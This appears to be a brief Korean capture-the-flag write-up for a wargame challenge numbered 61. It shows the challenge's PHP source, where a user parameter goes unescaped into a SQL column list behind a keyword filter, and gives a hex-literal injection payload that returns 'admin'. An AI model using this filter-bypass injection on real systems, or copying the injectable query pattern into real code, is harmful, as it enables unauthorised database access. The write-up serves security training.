첫 화면이다.
view-source를 클릭해 본 소스는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if(!$_GET['id']) $_GET['id']="guest";
echo "<html><head><title>Challenge 61</title></head><body>";
echo "<a href=./?view_source=1>view-source</a><hr>";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
즉, 쿼리는 아래와 같이 된다.
SELECT 0x61646d696e id FROM chall61 ORDER BY id DESC LIMIT 1;
